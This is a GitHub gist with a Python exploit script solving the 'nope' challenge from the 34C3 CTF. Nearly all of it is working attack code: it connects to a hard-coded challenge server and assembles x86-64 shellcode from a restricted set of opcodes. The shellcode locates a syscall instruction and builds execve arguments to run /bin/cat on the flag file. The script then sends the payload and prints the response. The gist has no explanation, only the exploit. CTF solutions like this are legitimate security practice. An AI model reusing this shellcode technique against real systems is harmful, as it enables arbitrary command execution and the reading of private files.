Skip to content

Instantly share code, notes, and snippets.

@mkow
Created January 1, 2018 20:29
Show Gist options
  • Save mkow/051b14da1a5525d4cff250159a659f2c to your computer and use it in GitHub Desktop.
Save mkow/051b14da1a5525d4cff250159a659f2c to your computer and use it in GitHub Desktop.
nope challenge solution from 34C3 CTF
from struct import pack, unpack
from sys import stdout, stderr, stdin
import socket
host = '35.198.126.67'
port = 4444
s = socket.create_connection((host, port))
def p64(x):
return pack('<Q', x)
def nop():
return '\x90'
def mov_eax_90909090():
return '\xB8'
def xor_eax_90909090():
return '\x35'
def sub_al_90():
return '\x2C'
def stc():
return '\xF9'
def adc_al_90():
return '\x14'
def push_rax():
return '\x50'
def push_rcx():
return '\x51'
def push_rdx():
return '\x52'
def push_rbx():
return '\x53'
def push_rsp():
return '\x54'
def push_rbp():
return '\x55'
def push_rsi():
return '\x56'
def push_rdi():
return '\x57'
def pop_rax():
return '\x58'
def pop_rcx():
return '\x59'
def pop_rdx():
return '\x5a'
def pop_rbx():
return '\x5b'
def pop_rsp():
return '\x5c'
def pop_rbp():
return '\x5d'
def pop_rsi():
return '\x5e'
def pop_rdi():
return '\x5f'
def stosb():
return '\xaa'
def scasb():
return '\xae'
def jne_min_70():
return '\x75'
def ret():
return '\xC3'
def zero_eax():
return mov_eax_90909090() + xor_eax_90909090()
def inc_al():
return sub_al_90() + stc() + adc_al_90()
def add_al(val):
assert 0 <= val <= 255
return inc_al() * val
def set_al(val):
assert 0 <= val <= 255
return zero_eax() + inc_al() * val
def write_rsp(bytes):
o = ''
o += zero_eax()
al = 0
o += push_rsp()
o += pop_rdi()
for byte in map(ord, bytes):
delta = (byte - al) % 256
o += add_al(delta)
o += stosb()
al = (al + delta) % 256
return o
o = ''
# Find syscall
o += push_rcx()
o += pop_rdi()
o += set_al(0xe7)
o += nop() * 10
o += scasb()
o += jne_min_70()
o += push_rdi()
o += pop_rbp() # rbp = &syscall
# Set registers + execve structures
#rax = # sc_num
#rdi = # path
#rsi = # argv
rdx = 0 # envp
o += write_rsp(p64(rdx) + '/bin/cat\0')
o += pop_rdx()
o += push_rsp() + pop_rcx() # rcx == argv[0]
o += push_rdx() # garbage
o += push_rdx() # garbage
o += push_rdx() # garbage
o += push_rdx() # garbage
o += write_rsp('/chall/flag.txt\0')
o += push_rsp() + pop_rax() # rax = argv[1]
o += push_rcx() + pop_rdi() # rdi = rcx
o += push_rdx() # 0
o += push_rax() # argv[1]
o += push_rdi() # argv[0]
o += push_rsp() + pop_rsi()
o += zero_eax()
o += set_al(59)
# jmp syscall
o += push_rbp()
o += ret()
o += nop()*20 + '\xeb'
assert '\xe7' not in o # syscall's first byte (used in scasb)
with open('payload.bin', 'wb') as f:
f.write(o)
s.sendall(o)
s.shutdown(socket.SHUT_WR)
while True:
d = s.recv(1024)
if not d:
break
stdout.write(d)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment